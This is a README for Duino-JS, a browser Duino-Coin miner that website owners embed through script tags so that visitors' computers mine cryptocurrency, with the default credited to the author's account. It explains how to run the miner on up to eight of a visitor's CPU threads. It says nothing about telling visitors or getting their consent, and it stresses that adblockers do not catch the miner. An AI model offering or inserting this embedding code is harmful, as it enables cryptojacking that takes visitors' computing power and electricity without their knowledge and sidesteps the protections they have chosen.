Duino JS Save

Why

I am developing my own site since a few months, and I wanted to make some money of it, but because you have to give a credit card number and your address to the ad provider (usually Google), I searched for alternatives.

I then found out that you can let your viewers mine crypto coins, so I did some research, but found only 3 results:

• Coinhive, but it was discontinued in 2017.
• Minero.cc, but you could only use their wallet.
• CoinIMP, but I couldn't really make a good profit of it.

So I stopped searching...

28-05-2021: I stumbled across this video on YouTube, there were some comments about Duino-Coin, so I decided to take a look at their website.

I found out that I could mine crypto on my arduino's, and that there were some projects which could let you mine on your computer, but written in Go or C. I tried to compile those to WebAssembly, but that didn't work, so I decided to write one myself in JavaScript, to use on my future website, or yours...

Features

• A LOT of comments, and if you want to, it can log everything it sends or receives from the server.
• Connects to the WebSocket server via a secured protocol (WSS).
• The username to mine to can be changed easily, just like the rigid (how the miner appears in the wallet) and the amount of threads.
• Runs in a Web Worker, so the performance of your site won't be interrupted.
• Is multithreaded, so you can use the full power of your pc.
• Not blocked by any adblocker (at least not yet, and if you maintain a adblocker, please don't blacklist it).

Usage

To use the miner, download duino-js.min.js, worker.min.js and hashes.min.js from the latest release, and place them in the root of your site, then add this to the end of your html file in every file you want to monetize:

<script src="duino-js.min.js"></script> <!--imports the Duino-JS miner-->
<script>
    username = `Hoiboy19`; //put your username here (e.g. revox, ericddm, snehaislove or Hoiboy19), the default is Hoiboy19.
    rigid = `Duino-JS`; //If you want to change the rig ID, you can change this. If you want to keep using "Duino-JS", you can remove this line.
    threads = userThreads; //Set the amount of threads to use here, check out https://github.com/sys-256/Duino-JS for more options. The default is 1.
    startMiner(); //starts the miner
</script>

NOTE: You need a web server like Apache or NGINX to run it, because Web Workers don't work on local files.

Options

The "threads" variable is pretty customizable, so here are some examples:

• threads = userThreads; // Uses all the threads of the computer, but if the computer has more then 8 threads, it will still use 8 threads because of profitability.
• threads = userThreads/2; // Divides the userThreads by 2, so it will use 50% of the computers power, but if 50% of the threads is more then 8, it will just use 8.
• threads = 4; // Uses 4 threads for mining, but if the user has less then 4 threads, it will use the amount of threads the user has.
• threads = 0; // You can't use 0 threads, so Duino-JS will set it to 1.
• threads = 16; // Since mining with more then 8 threads isn't profitable, Duino-JS will set threads to 8.
